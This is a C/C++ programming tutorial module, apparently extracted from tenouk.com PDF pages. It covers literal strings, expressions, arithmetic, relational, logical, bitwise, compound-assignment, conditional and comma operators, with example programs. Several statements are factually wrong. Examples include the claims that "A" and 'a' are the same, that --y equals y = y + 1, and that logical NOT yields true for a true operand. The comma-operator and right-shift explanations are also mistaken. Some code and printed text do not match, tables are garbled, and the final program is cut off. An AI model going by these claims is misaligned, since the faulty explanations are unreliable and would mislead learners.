- A string is a series of characters or combination of more than one character.
- Literal string constants are strings that are enclosed within double quotes and interpreted literally by the
compiler, space by space.

- Is legal but:

- To break a literal string constant line, use the backslash character ( \ ) just before the break, like this:

printf("Hello, \
World");

- For C++ you can use the double quotation pair, " " for each literal string for each line, so can break
more than one line easily.
- For example:

www.tenouk.com Page 2 of 28
cout<<"\nNow I'm in FunctTwo()!\nmay do some work here..."
<<"\nReceives nothing but return something"
<<"\nto the calling function..."<<endl;

- For a character, we use single quotation mark (''). So, you can see that for one character only, the using
"" and '' should provide the same result isn’t it? For example:

"A" and 'a' both are same.

3.2 A Block of Code Structure

- Is a group of more than one C/C++ statements enclosed in curly braces. For example:

- Same as:

{printf("Hello, ");
printf("world! ");}

Note:
Bracket / square bracket - [ ]
Parentheses - ( )
Curly braces - { }
Angled brackets - < >

3.3 Expressions

- Is anything whose evaluation yields a numerical value is called expression.


- For example:

PI //a symbolic constant defined in the program


Evaluates to the value it was given when it was created with the #define directive.

20 //a literal constant


Evaluates to its own value.

yield //a variable


Evaluates to the value assigned to it by the program.

- More complex expression use operators (combining the simple expressions).


- For example:

1.25 / 8 + 5 * rate + rate * rate / cost;

x = 2 + 8;

x = a + 10;

- The last one evaluates the expression a + 10 and assigns the result to variable x.
- So, the general form of expression and variables, evaluated from the right to left, is:

variable = any_expression;

- E.g.

y = x = a + 10;

www.tenouk.com Page 3 of 28
x = 6 + (y = 4 + 5);

3.4 Operators

- Is a symbol that instructs C/C++ to perform some operation, or action, on one or more operands.
- Operand is something that an operator acts on.
- For example:

x = 2 + 3;

+ and = are operators.


2 and 3 are operands.
x is variable.

- In C/C++, all operands are expressions; and operators fall into several categories as follow:

1. The assignment operator ( = ).


2. Mathematical operators ( +, -, /, *, %).
3. Relational operators ( >, <, >=, <=, ==, !=).
4. Logical operators (AND, OR, NOT, &&, ||).

- An example of the assignment operator:

x = y;

▪ Assign the value of y to variable x and this is called assignment statement.


▪ Left side (lvalue) must be a variable name.
▪ Right side (rvalue) can be any expression.
▪ The evaluation from right to left.

3.4.1 The Unary Mathematical Operators

- Mathematical operators perform mathematical operation such as +, -, *, % and /.


- C/C++ has:

1. 2 unary mathematical operators (++ and --) and


2. 5 binary mathematical operators (discussed later).

- Called unary because they take a single operand as shown in table 3.1.

Operator Symbol Action Examples


Increment operand by
Increment ++ ++x, x++
one
Decrement operand by
Decrement -- --x, x--
one

Table 3.1

- These operators can be used only with variables not with constants.
- To add 1 or to subtract 1 from the operand.

++x same as x = x + 1
--y same as y = y + 1

- ++x and --y are called prefix mode, that means the increment or decrement operators modify their
operand before it is used.
- x++ and y-- are called postfix mode, the increment or decrement operators modify their operand after it
is used. Remember the before used and after used words.
- For example:

Postfix mode:

www.tenouk.com Page 4 of 28
x = 10;
y = x++;

After these statements are executed, x = 11, y has the value of 10, the value of x was assigned
to y, and then x was incremented.

Prefix mode:

y = 10;
y = ++x;

Both y and x having the value of 11, x is incremented, and then its value is assigned to y.

- Try the following program and study the output and the source code.

//Demonstrates unary operators prefix and postfix modes


#include <stdlib.h>
#include <stdio.h>
#include <iostream.h>

int main()
{
int a, b;
//set a and b both equal to 5
a = b = 5;
//print them, decrementing each time
//use prefix mode for b, postfix mode for a

printf("postfix mode and prefix mode example\n");


printf("initial value, a = b = 5\n");

printf("\npostfix mode, a-- = %d prefix mode, --b = %d", a--, --b);


printf("\npostfix mode, a-- = %d prefix mode, --b = %d", a--, --b);
printf("\npostfix mode, a-- = %d prefix mode, --b = %d", a--, --b);
printf("\npostfix mode, a-- = %d prefix mode, --b = %d", a--, --b);
printf("\npostfix mode, a-- = %d prefix mode, --b = %d", a--, --b);
printf("\n");
system("pause");
return 0;
}

Output:

- Change all the -- operator to ++ operator and re run the program, notice the different.

3.4.2 Format specifiers

- Is used with printf() and scanf() function and other input/output functions to determine the
format of the standard output (screen) and standard input (keyboard).
- The frequently used format specifiers are listed in Table 3.2. Other format specifiers and their usage will
be discussed in formatted input/output Module in more detail.

Format specifier Description


%d Is to print decimal integers.
%s Is to print character strings.
%c Is to print character.

www.tenouk.com Page 5 of 28
%f Is to print floating-point number.
%.2f Prints numbers with fractions with up to two decimal places.
%u Prints unsigned integer

Table 3.2

- Try the following program example and study the output and the source code.

//Format specifier example


#include <stdio.h>
#include <stdlib.h>

int main()
{
printf("My name is %s and I am %d years old.\n", "John", 25);
printf("Examples of the decimal points %f\t%.3f\t%.2f\t\n",1.7885,1.7885,1.7885);
printf("Examples of characters\n");
printf(" %c \n %c \n %c\n", 'A', 'B', 'a');
system("pause");
return 0;
}

Output:

3.4.3 The Binary Mathematical Operators

- C/C++ binary mathematical operators take two operands as listed in Table 3.3.

Operator Symbol Action Example


Addition + Adds its two operands x + y
Subtracts the second
Subtraction - operand from the first x - y
operand
Multiplies its two
Multiplication * x * y
operands
Divides the first operand
Division / x / y
by the second operand
Gives the remainder when
the first operand is
Modulus % x % y
divided by the second
operand

Table 3.3

- Modulus example:

www.tenouk.com Page 6 of 28
- Try the following program example and study the output and the source code.

//Modulus operator example in C version.


//Inputs a number of seconds, and converts to hours, minutes
//and seconds.
#include <stdio.h>
#include <stdlib.h>

//#define preprocessor directive, define constants,


//every occurrence of the SEC_PER_MIN token
//in the program will be replaced with 60
#define SECS_PER_MIN 60
#define SECS_PER_HOUR 3600

int main()
{
unsigned seconds, minutes, hours, secs_left, mins_left;

//Prompting user to input the number of seconds


printf("Enter number of seconds < 65000 : ");

//Read and store the data input by user


scanf("%d", &seconds);

//Do the modulus operation


hours = seconds / SECS_PER_HOUR;
minutes = seconds / SECS_PER_MIN;
mins_left = minutes % SECS_PER_MIN;
secs_left = seconds % SECS_PER_MIN;

//Display the result


printf("%u seconds is equal to ", seconds);
printf("%u hours, %u minutes, and %u seconds\n", hours, mins_left, secs_left);
system("pause");
return 0;
}

Output:

- C++ version program example:

//Modulus operator example.


//Inputs a number of seconds, and converts to hours,
//minutes and seconds.

#include <iostream.h>

www.tenouk.com Page 7 of 28
#include <stdlib.h>
//For VC++ .Net use the following processor directives
//comment out the previous #include…
//#include <iostream>
//#include <cstdlib>
//using namespace std;

//Define constants
#define SECS_PER_MIN 60
#define SECS_PER_HOUR 3600

void main()
{
unsigned int seconds, minutes, hours, secs_left, mins_left;

//Prompting user to input the number of seconds


cout<<"Enter number of seconds < 65000 : ";
cin>>seconds;

hours = seconds / SECS_PER_HOUR;


minutes = seconds / SECS_PER_MIN;
mins_left = minutes % SECS_PER_MIN;
secs_left = seconds % SECS_PER_MIN;
cout<<seconds<<" seconds is equal to "<<hours<<" hours, "<<mins_left<<" minutes,
"<<secs_left<<" seconds"<<endl;
system("pause");
}

Output:

3.5 Precedence And Parentheses

- Expression that contains more than one operator, the order in which operation are performed can be
confusing.
- For example:

x = 4 + 5 * 3;

If the addition is performed first, x is assigned the value 27 as follow:

x = 9 * 3;

If the multiplication is performed first, x is assigned the value of 19 as follows:

x = 4 + 15;

- So, need some rules to define the order in which operations are performed. This is called operator
precedence.
- Operator with higher precedence is performed first.
- Precedence examples:

Operators Relative precedence Rank


++, -- 1 Highest
*, /, % 2 ↓
+, - 3 Lowest
Highest → Lowest

Table 3.4 : Operator precedence

- If the operators are in the same level, then, the operators are performed from left to right order, referring
to table 3.4.
- For example:

www.tenouk.com Page 8 of 28
- But a sub expression enclosed in the parentheses, ( ), is evaluated first, without regard to the operator
precedence because parentheses have the highest precedence.
- For example:

x = (4 + 5) * 3
= 9 * 3
= 27

- For nested parentheses (more than one parentheses), evaluation proceeds from the innermost expression
outward.
- For example:

1. The innermost, 8 / 2 is evaluated first.

8 / 2 = 4

25 – (2 * (10 + 4))

2. Moving outward, 10 + 4 = 14

25 – (2 * 14)

3. The outer most, 2 * 14 = 28

25 – 28

4. The final expression, 25 – 28

25 – 28 = -3

- Use parentheses in expressions for clarity and readability, and must always be in pairs.

3.6 Relational Operators

- Used to compare expressions, asking questions such as, “is x greater than 200?” or “is y equal to 10”.
- An expression containing a relational operator evaluates as either TRUE (1) or FALSE (0).
- C/C++ has six relational operators as shown in Table 3.5:

Operator Symbol Means Example


Is operand 1 equal to
Equal == x == y
operand 2?
Greater Is operand 1 greater
> x > y
than than operand 2?
Is operand 1 less than
Less than < x < y
operand 2?
Is operand 1 greater
Greater
>= than or equal to operand x >= y
than
2?
Is operand 1 less than
Less than <= x <= y
or equal to operand 2?
Not equal != Is operand 1 not equal x != y

www.tenouk.com Page 9 of 28
to operand 2?

Table 3.5: Relational operators

- Simple examples:

Expression Evaluates As Read As


5 == 1 0 (false) Is 5 equal to 1?
5 > 1 1 (true) Is 5 greater than 1?
5 != 1 1 (true) Is 5 not equal to 1?
( 5 + 10 ) == 1 (true) Is (5 + 10) equal to (3 * 5)?
( 3 * 5 )

3.6.1 Expressions And The if Statement

- Relational operators are used mainly to construct the relational expressions used in if and while
statements.
- This is the introduction of the basic if statement, used to create program control statements. Till now
we only deal with the top down approach or line by line code but that is not the limitation.
- We will learn more detail about program control in program control Module. Assume this part as an
introduction.

3.6.2 The Program Control Statement: An Introduction

- Modifies the order of the statement execution.


- Can cause other program statements to execute multiple times or not to execute at all, depending on the
circumstances, condition imposed.
- Other type of program control includes do, for and while that will be explained in detail in another
Module.
- This section introduced because many relational and logical operators are used in the expression of the
program control statements.
- The most basic if statement form is:

if ( expression )
statement(s);
next_statement;

1. Evaluate an expression and directs program execution depending on the result of that
evaluation.
2. If the expression evaluate as TRUE, statement(s) is executed, if FALSE,
statement(s) is not executed, execution then passed to the code follows the if
statement, that is the next_statement.
3. So, the execution of the statement(s) depends on the result of expression.

- if statement also can control the execution of multiple statements through the use of a compound
statement or a block of code. A block is a group of two or more statements enclosed in curly braces, { }.
- Typically, if statements are used with relational expressions, in other words, "execute the following
statement(s) only if a certain condition is true".
- For example:

if ( expression )
{
statement1;
statement2;
...
...
statement-n;
}
next_statement;

- Program example:

www.tenouk.com Page 10 of 28
//Demonstrate the use of the if statements
#include <stdio.h>
#include <stdlib.h>

int main ( )
{
int x, y;
//Input the two values to be tested
printf("\nInput an integer value for x: ");
scanf("%d", &x);
printf("Input an integer value for y: ");
scanf("%d", &y);

//Test values and print result


if (x == y)
{
printf("\nx is equal to y");
}

if (x > y)
{
printf("\nx is greater than y");
}

if (x < y)
{
printf("\nx is smaller than y");
}
printf("\n\n");
system("pause");
return 0;
}

Possible outputs:

- We can see that this procedure is not efficient. Better solution is to use if–else statement as shown
below:

www.tenouk.com Page 11 of 28
if ( expression )
statement1;
else
statement2;
next_statement;

- The expression can be evaluated to TRUE or FALSE. The statement1 and statement2 can be
compound or a block statement.
- This is called a nested if statement. Nesting means to place one or more C/C++ statements inside
another C/C++ statement.
- Program example:

//Demonstrates the use of if-else statement


#include <stdio.h>
#include <stdlib.h>

int main()
{
int x, y;

//Input two values to be tested


printf("\nInput an integer value for x: ");
scanf("%d", &x);
printf("Input an integer value for y: ");
scanf("%d", &y);

//Test values and print result


if (x == y)
{
printf("\nx is equal to y");
}
else
if (x > y)
{
printf("\nx is greater than y ");
}
else
{
printf("\nx is smaller than y ");
}
printf("\n\n");
system("pause");
return 0;
}

Possible outputs:

www.tenouk.com Page 12 of 28
- Keep in mind that we will learn if–else statements more detail in program controls Module. As a pre
conclusion, there are 3 form of if statements.

Form 1:

if ( expression )
statement1;
next_statement;

Form 2:

if ( expression )
statement1;
else
statement2;
next_statement;

Form 3:

if ( expression )
statement1;
else if ( expression )
statement2;
else if ( … )
statement3;



else
statementN;
next_statement;

3.7 Relational Expressions

- Expression using relational operators evaluate, by definition, to a value of either FALSE (0) or TRUE
(1).
- Normally used in if statements and other conditional constructions.
- Also can be used to produce purely numeric values.
- Program example:

//Demonstrate the evaluation of relational expression


#include <stdio.h>
#include <stdlib.h>

int main()
{
int a;

a = (5 == 5);
//Evaluates to 1, TRUE
printf ("\na = (5 == 5)\n Then a = %d\n", a);

a = (5 != 5);
//Evaluates to 0, FALSE
printf ("\na = (5 != 5)\n Then a = %d\n", a);

a = (12 == 12) + (5 != 1);

www.tenouk.com Page 13 of 28
//Evaluates to 1 + 1, TRUE
printf("\na = (12 == 12) + (5 != 1)\n Then a = %d\n", a);
system("pause");
return 0;
}

Output:

- x = 5, evaluates as 5 and assigns the value 5 to x. This is an assignment expression.


- x == 5, evaluates as either 0 or 1 (depending on whether x is equal to 5 or not) and does not change the
value of x. This is comparison expression.
- Consider this, the wrong usage of the assignment operator ( = ),

if(x = 5)
printf("x is equal to 5");

- The message always prints because the expression being tested by the if statement always evaluates as
TRUE, no matter what the original value of x happens to be.
- Referring to the above example, the value 5 does equal 5, and true (1) is assigned to 'a'. "5 does not
equal 5" is FALSE, so 0 is assigned to 'a'.
- As conclusion, relational operators are used to create relational expression that asked questions about
relationship between expressions. The answer returned by a relational expression is a numeric value 1 or
0.

3.7.1 Precedence of Relational Operators

- Similar to mathematical operators, in case when there is multiple operator expression.


- Parentheses can be used to modify precedence in expression that uses relational operators.
- All relational operators have a lower precedence than all mathematical operators.
- For example:

(x + 2 > y)

- Better written like this:

((x + 2) > y)

Operators Relative precedence


< <= > >= 1
!= == 2

Table 3.6: Precedence of the relational operators

- For example:

x == y > z equivalent to x == (y > z)

- Avoid using the “not equal to” operator ( != ) in an if statement containing an else, use “equal to” ( == )
for clarity.
- For example:

www.tenouk.com Page 14 of 28
if(x != 5)
statement1;
else
statement2;

- So, better written as:

if(x == 5)
statement1;
else
statement2;

3.8 Logical Operators

- C/C++ logical operators enable the programmer to combine 2 or more relational expressions into a single
expression that evaluate as either TRUE (1) or FALSE (0).

Operator Symbol Example


AND && expression1 && expression2
OR || expression1 || expression2
NOT ! !expression1

Table 3.7: Logical operators

Expression Evaluates As
(expression1
True (1) only if both expression1 and
&&
expression2 are true; false (0) otherwise.
expression2)
(expression1 || True (1) if either expression1 or expression2 is
expression2) true; false (0) only if both are FALSE.
False (0) if expression1 is true; true (1) if
(! expression1)
expression1 is true.
Table 3.8: Evaluation of the logical expressions

- These expressions use the logical operators to evaluate as either TRUE or FALSE depending on the
TRUE/FALSE value of their operand(s).
- For example:

Expressions Evaluates As
True (1) because both operands are
(5 == 5) && (6 != 2)
true
True (1) because one operand is
(5 > 1) || (6 < 1)
true
False (0) because one operand is
(2 == 1) && (5 == 5)
false
True (1) because the operand is
! (5 == 4)
false
NOT (FALSE) = TRUE

Table 3.9: Examples of logical expressions

- For AND and OR operator:

Operand1 Operand2 Output


0 0 0 ( F )
0 1 0 ( F )
1 0 0 ( F )
1 1 1 ( T )

www.tenouk.com Page 15 of 28
Table 3.10: Logical AND Operation

Operand1 Operand2 Output


0 0 0 ( F )
0 1 1 ( T )
1 0 1 ( T )
1 1 1 ( T )
Table 3.11: Logical OR Operation

3.8.1 TRUE And FALSE Values

- For relational expression, 0 is FALSE, 1 is TRUE


- Any numeric value is interpreted as either TRUE or FALSE when it is used in a C / C++ expression or
statement that is expecting a logical (true or false) value.
- The rules:

▪ A value of 0, represents FALSE.


▪ Any non zero (including negative numbers) value represents TRUE.

- For example:

x = 125;
if(x)
printf("%d", x)

3.8.2 Precedence of Logical Operators

- C / C++ logical operators also have a precedence order.


- ! is same level with unary mathematical operators ++ and -- and it has higher precedence than all
relational operators and all binary mathematical operators.
- && and || operators lower than all mathematical and relational operators.
- Parentheses also can be used to modify evaluation order when using the logical operators.
- When the parentheses are absent, the results are determined by operator precedence then the result may
not be desired.
- When parentheses are present, the order in which the expressions are evaluated changes.
- Try the following program example and study the output and the source code.

#include <stdio.h>
#include <stdlib.h>

//Initialize variables and note that c is not less than d,


//which is one of the conditions to test for
//therefore the entire expression should be evaluated as false

int main()
{
int a = 5, b = 6, c = 5, d = 1;
int x;

//Evaluate the expression without parentheses


x = a < b || a < c && c < d; //Form 1
printf("Given expression:\n");
printf("x = a < b || a < c && c < d\n");
printf("Without parentheses the expression evaluates as %d", x);

//Evaluate the expression with parentheses


x = (a < b || a < c) && (c < d); //Form 2
printf("\n\nWith parentheses:\n");
printf("x = (a < b || a < c) && (c < d)\n");
printf("With parentheses the expression evaluates as %d\n", x);
system("pause");
return 0;
}

www.tenouk.com Page 16 of 28
Output:

- From the above example, we are given 3 conditions:

1. Is a less than b? , a<b


2. Is a less than c? , a<c
3. Is c less than d? , c<d

- Condition 1 logical expression that evaluate as true if condition 3 is true and if either condition 1 or
condition 2 is true. But this do not fulfill the specification because the && operator has higher
precedence than ||, the expression is equivalent to a < b || (a < c && c < d) and evaluates as true if (a < b)
is true, regardless of whether the relationships (a < c) and (c < d) are true.

3.9 Compound Assignment Operators

- For combining a binary mathematical operation with an assignment operation.


- There is shorthand method.
- For example:

x = x + 5;
⇒ x += 5;

- The general notation is:

expression1 operator = expression2

- The shorthand method is:

expression1 = expression1 operator expression2

- The examples:

Expression Equivalent
x * = y x = x * y
y -= z + 1 y = y – z + 1
a / = b a = a / b
x += y / 8 x = x + y / 8
y %= 3 y = y % 3

Table 3.12: Examples of compound assignment operator

- Another example:

If x = 12;
Then,
z = x += 2;
z = x = x + 2
= 12 + 2
= 14

- Program example:

www.tenouk.com Page 17 of 28
#include <stdio.h>
#include <stdlib.h>

int main()
{
int a = 3, b = 4;

printf("Initially: a = 3, b = 4\n");
printf("\na += b ---> a = a + b = %d\n", a+=b);
printf("a last value = %d\n", a);
printf("\na *= b ---> a = a * b = %d\n", a*=b);
printf("a last value = %d\n", a);
printf("\na -= b ---> a = a - b = %d\n", a-=b);
printf("a last value = %d\n", a);
printf("\na/=b ---> a = a / b = %d\n", a/=b);
printf("a last value = %d\n", a);
printf("\na-=(b+1)---> a = a - (b + 1) = %d\n", a-=(b+1));
printf("a last value = %d\n", a);
system("pause");
return 0;
}

Output:

3.10 The Conditional Operators

- The C/C++ only ternary operator, it takes 3 operands.


- The syntax:

Expression1 ? expression2 : expression3;

- If expression1 evaluates as true (non zero), the entire expression evaluated to the value of
expression2. If expression1 evaluates as false (zero), the entire expression evaluated to the
value of expression3.
- For example:

x = y ? 1 : 100;

Assign value 1 to x if y is true.


Assign value 100 to x if y is false.

- It also can be used in places an if statement cannot be used, such as inside a single printf()
statement. For example:

z = (x > y)? x : y;

- Can be written as:

if(x > y)

www.tenouk.com Page 18 of 28
z = x;
else
z = y;

- Program example.

#include <stdio.h>
#include <stdlib.h>

int main()
{
int a, b = 4, c= 50;

//here b is less than c, so the statement


//(b>c) is false, then 200 should be assigned
//to a, reflected through the output
a = (b>c) ? 100 : 200;
printf("Given: b = 4, c= 50\n");
printf("The statement:a = (b>c) ? 100 : 200\n");
printf("will be evaluated to a = %d\n", a);
system("pause");
return 0;
}

Output:

- Change the (b>c) to (b<c), then recompile and rerun. Notice the output difference.

3.11 The Bitwise Operators

- All data represented internally by computers as sequence of binary digit (bit).


- Each bit can assume value 0 or 1. 8 bits equal to 1 byte.
- Bitwise operators used to manipulate the bits of integral operands, to modify the individual bits (bit by
bit) rather than the number itself. Both operands in a bitwise expression must be of an integral type.
- Table 3.13 is the list of the bitwise operators.

Operator Description
The bit in the result are set to 1 if the corresponding bits in the two
& (bitwise AND)
operands are both 1, otherwise it returns 0.
The bit in the result is set to 1 if at least one (either or both) of the
| (bitwise inclusive OR)
corresponding bits in the two operands is 1, otherwise it returns 0.
The bit in the result is set to 1 if exactly one of the corresponding bits in
^ (bitwise exclusive OR)
the two operands is 1.
~ (bitwise complement) Negation. 0 bit set to 1, and 1 bit set to 0. Also used to create destructors.
Moves the bit of the first operand to the left by the number of bits
<< (bitwise shift left) specified by the second operand; it discards the far left bit ; fill from the
right with 0 bits.
Moves the bit of the first operand to the right by the number of bits
>> (bitwise shift right) specified by the second operand; discards the far right bit; fill from the
right with 0 bits.

Table 3.13: Bitwise Operators

- Bitwise AND, bitwise inclusive OR, bitwise exclusive OR operators compare their two operands bit by
bit.
- &, >>, << are context sensitive. & can also be the pointer reference operator. >> can also be the input
operator in I/O expressions. << can also be the output operator in I/O expressions. You will learn this in
another Module.

www.tenouk.com Page 19 of 28
- Example of the &, | and ^ operators.

Operand1, OP1 Operand2, OP2 OP1 & OP2 OP1 | OP2 OP1 ^ OP2
0 0 0 0 0
1 0 0 1 1
0 1 0 1 1
1 1 1 1 0

Table 3.14: Bitwise Operation

- Program example:

//bitwise operators
#include <stdlib.h>
#include <stdio.h>

int main()
{
unsigned p;
//function prototype…
void DisplayBits(unsigned);

printf("Enter an unsigned integer: ");


scanf("%u", &p);
DisplayBits(p);
return 0;
}

//function definition…
void DisplayBits(unsigned number)
{
unsigned q;
//2 byte, 16 bits position
//operated bit by bit and hide/mask other bits
//using left shift operator
//start with 10000000 00000000
unsigned DisplayMask = 1<<15;

printf("%7u = ", number);


for(q = 1; q < 16; q++)
{
//combining variable number with variable DisplayMask
putchar(number & DisplayMask ? '1':'0');
//number variable is left shifted one bit
number<<= 1;
//separate by 8 bits position (1 byte)
if(q % 8 == 0)
putchar(' ');
}
putchar('\n');
system("pause");
}

Output:

- Change DisplayMask = 0<<15 and & to | for inclusive OR operation and rerun the program.
- The shift general syntax:

bits to be left shifted << shift count


bits to be right shifted >> shift count

- The shift count must be non-negative and less than the number of bits required to represent the data type
of the left operand.
- For example, let say the variable declaration is:

www.tenouk.com Page 20 of 28
unsigned int p = 5

In binary, p = 00000000 00000101

For p<<1 in binary,

00000000 00000101 << 1 = 00000000 00001010 = 10 decimal

For p<<15 in binary,

00000000 00000101 << 15 = 10000000 00000000 = 32768 decimal

- For right shift, while bits are shifted toward low-order position, 0 bits enter the high-order positions, if
the data is unsigned. If the data is signed and the sign bit is 0, then 0 bits also enter the high-order
positions.
- If the sign bit is 1, the bits entering high-order positions are implementation dependent, on some
machines (processor architecture) 1s, and on others 0s, are shifted in.
- The former type of operation is known as the arithmetic right shift, and the latter type is the logical
right shift. So, for portability issue, these operators should only be used on unsigned operands.
- For example:

unsigned int p = 40960, for 16 bits,

In binary, p = 10100000 00000000

For p >> 1 in binary,

10100000 00000000 >> 1 = 01010000 00000000 = 20480 decimal

For p>>15 in binary,

10100000 00000000 >> 15 = 00000000 00000001 = 1 decimal

- Program example:

//bitwise operators
#include <stdlib.h>
#include <stdio.h>

//function prototype, you will learn later


void BitwiseOp(unsigned int);

int main()
{
unsigned int num1, num2, num3, mask, SetBit;

num1 = 7535;
mask = 1;

printf("The result of ANDing the following numbers\n");


printf("using the bitwise AND, & is\n");
//Display in normal and binary representation
BitwiseOp(num1);
BitwiseOp(mask);
printf(" ------------------------\n");
//Bitwise AND operation
BitwiseOp(num1 & mask);

num1 = 15;
SetBit = 241;
printf("\nThe result of inclusive ORing the following numbers\n");
printf("using the bitwise inclusive OR, | is\n");
BitwiseOp(num1);
BitwiseOp(SetBit);
printf(" ------------------------\n");
//Bitwise inclusive OR operation
BitwiseOp(num1 | SetBit);

www.tenouk.com Page 21 of 28
num1 = 249;
num2 = 299;
printf("\nThe result of exclusive ORing the following numbers\n");
printf("using the bitwise exclusive OR, ^ is\n");
BitwiseOp(num1);
BitwiseOp(num2);
//Bitwise exclusive OR operation
printf(" ------------------------\n");
BitwiseOp(num1 ^ num2);

num3 = 21321;
printf("\nThe One's complement of\n");
BitwiseOp(num3);
printf(" |||||||| ||||||||\n");
//One's complement operation
BitwiseOp(~num3);
system("pause");
return 0;
}

//function definition…
void BitwiseOp(unsigned int value)
{
unsigned int p;
//Two 8 bits, 16 position, shift to left
unsigned int DisplayMask = 1 << 15;

printf("%7u = ", value);


//Loop for all bit...
for(p=1; p<=16; p++)
{
//if TRUE set to '1', otherwise set to '0'
putchar(value & DisplayMask ? '1':'0');
//shift to left bit by bit
//equal to: value << + 1 statement
value <<= 1;
if(p % 8 == 0)
//put a space…
putchar(' ');
}
putchar('\n');
}

Output:

- For C++, the following is a list of the binary operators’ categories that can be used in C++ expressions.

1 (Compound) Assignment operators:

www.tenouk.com Page 22 of 28
Assignment (=)
Addition assignment (+=)
Subtraction assignment (–=)
Multiplication assignment (*=)
Division assignment (/=)
Modulus assignment (%=)
Left shift assignment (<<=)
Right shift assignment (>>=)
Bitwise AND assignment (&=)
Bitwise exclusive OR assignment (^=)
Bitwise inclusive OR assignment (|=)

2 Additive operators:
Addition (+)
Subtraction (–)

3 Multiplicative operators:
Multiplication (*)
Division (/)
Modulus (%)

4 Shift operators:
Right shift (>>)
Left shift (<<)

5 Relational and equality operators:


Less than (<)
Greater than (>)
Less than or equal to (<=)
Greater than or equal to (>=)
Equal to (==)
Not equal to (!=)

6 Bitwise operators:
Bitwise AND (&)
Bitwise exclusive OR (^)
Bitwise inclusive OR (|)

7 Logical operators:
Logical AND (&&)
Logical OR (||)

8 Comma Operator (,)

- Furthermore in C++ the <bitset> header defines the template class bitset and two supporting template
functions for representing and manipulating fixed-size sequences of bits.

3.12 The Comma Operator

- Frequently used as a simple punctuation mark.


- Used to separate variable declarations, functions’ arguments, etc.
- Also can acts as an operator.
- Separating two sub expressions with a comma can form an expression.
- Then, both expressions are evaluated, left evaluated first. The entire expression evaluates as the value of
the right expression.
- For example:

x = (a ++, b++);

- Assigns the value of b to x, then increments a, and then increments b.


- As conclusion, table 3.15 is the summary of the operators’ precedence.

Operators Associativity
( ) [ ] → . Left to right
! ~ ++ -- + - * & (type)
Right to left
sizeof()

www.tenouk.com Page 23 of 28
* / % Left to right
+ - Left to right
<< >> Left to right
< <= > >= Left to right
== != Left to right
& Left to right
^ Left to right
| Left to right
&& Left to right
|| Left to right
?: Right to left
= += -= *= /= %= &=
Right to left
^= |= <<= >>= ,
Left to right
The operators are shown in decreasing order of precedence from
top to bottom

Table 3.15: Summary of the operators precedence

- For this Table it is read from top (the highest) to bottom (the lowest). Then if they are at the same level,
we read it from left (the highest) to right (the lowest).

Program Examples and Experiments

//program copying from standard input,


//keyboard to standard output, console
//using pre defined functions
//getchar() and putchar(), defined in
//stdio.h header file
#include <stdio.h>
#include <stdlib.h>

int main()
{
int count;

//gives some prompt...


printf("Enter a line of text:\n");
printf("Press \'S\' to stop.\n");

//get character from standard input


//store in variable count
count = getchar();

//while the S is not encountered...


while(count != 'S')
{
//put character on the standard output
putchar(count);
//carry on getting character from the standard input
count = getchar();
}
system("pause");
return 0;
}

Output:

//copying from standard input,


//keyboard to standard output, console

www.tenouk.com Page 24 of 28
//using pre defined functions
//getchar() and putchar() with End Of File, EOF
//EOF is system dependent
#include <stdio.h>
#include <stdlib.h>

int main()
{
int count;

//gives some prompt...


printf("Enter a line of text:\n");
printf("EOF to stop.\n");

//get character from standard input


//store in variable count
count = getchar();

//while the End Of File is not encountered...


while(count != EOF)
{
//put character on the standard output
putchar(count);
//carry on getting character from the standard input
count = getchar();
}
system("pause");
return 0;
}

Output:

//creating the working program


//skeleton…
#include <stdio.h>
#include <stdlib.h>

int main()
{
//printf("Some prompt here...\n");

int count, charnum = 0;


while ((count = getchar()) != EOF)
{
if(count != ' ')
++charnum;
}
printf("test the output here...\n");
system("pause");
return 0;
}

Output:

//Add other functionalities by following the

www.tenouk.com Page 25 of 28
//simple steps in program development…
#include <stdio.h>
#include <stdlib.h>

int main()
{
//printf("Some prompt here...\n");

//-----In the process: declare and initialize ----------


//-----each variable used------------------------
//-----Third: compile and run----------------
//-----Fourth: If there are errors, recompile and rerun----
//-----Finally, if there is no error, complete other part of-----
//-----the program, such as comments etc-------------
int count, charnum = 0, linenum = 0;

printf("Enter several line of texts.\n");


printf("Press Carriage Return then EOF to end.\n\n");

//-------------First: build the loop-----------


//while storing the character process
//not equal to the End Of File...
while((count = getchar()) != EOF)
{
//do the character count
if(count != ' ')
++charnum;
//and the line count...
if(count == '\n')
{
++linenum;
charnum = charnum -1;
}
}
//----------Second: test the output---------------
printf("The number of line = %d\n", linenum);
printf("The number of char = %d\n", charnum);
system("pause");
return 0;
}

Output:

- Program example compiled using VC++/ VC++ .Net.

//Add other functionalities by following the


//simple steps in program development…
#include <cstdio>

int main()
{
//printf("Some prompt here...\n");

//-----In the process: declare and initialize ----------


//-----each variable used------------------------
//-----Third: compile and run----------------
//-----Fourth: If there are errors, recompile and rerun----
//-----Finally, if there is no error, complete other part of-----
//-----the program, such as comments etc-------------
int count, charnum = 0, linenum = 0;

printf("Enter several line of texts.\n");


printf("Press Carriage Return then EOF to end.\n\n");

www.tenouk.com Page 26 of 28
//-------------First: build the loop-----------
//while storing the character process
//not equal to the End Of File...
while((count = getchar()) != EOF)
{
//do the character count
if(count != ' ')
++charnum;
//and the line count...
if(count == '\n')
{
++linenum;
charnum = charnum -1;
}
}
//----------Second: test the output---------------
printf("The number of line = %d\n", linenum);
printf("The number of char = %d\n", charnum);
return 0;
}

Output:

- Program examples compiled using gcc.

/******-cpoundassig.c-*******/
#include <stdio.h>

int main()
{
int a = 10, b = 20;

printf("Initially: a = 3, b = 4\n");
printf("\na += b ---> a = a + b = %d\n", a+=b);
printf("a last value = %d\n", a);
printf("\na *= b ---> a = a * b = %d\n", a*=b);
printf("a last value = %d\n", a);
printf("\na -= b ---> a = a - b = %d\n", a-=b);
printf("a last value = %d\n", a);
printf("\na/=b ---> a = a / b = %d\n", a/=b);
printf("a last value = %d\n", a);
printf("\na-=(b+1)---> a = a - (b + 1) = %d\n", a-=(b+1));
printf("a last value = %d\n", a);
return 0;
}

[bodo@bakawali ~]$ gcc cpoundassig.c -o cpoundassig


[bodo@bakawali ~]$ ./cpoundassig
Initially: a = 3, b = 4

a += b ---> a = a + b = 30
a last value = 30

a *= b ---> a = a * b = 600
a last value = 600

a -= b ---> a = a - b = 580
a last value = 580

a/=b ---> a = a / b = 29

www.tenouk.com Page 27 of 28
a last value = 29

a-=(b+1)---> a = a - (b + 1) = 8
a last value = 8

- Another example.

/*bitwise operators*/
/******--bitwise.c--******/
#include <stdio.h>

int main()
{
unsigned p;

/*function prototype.*/
void DisplayBits(unsigned);

printf("Enter an unsigned integer: ");


scanf("%u", &p);
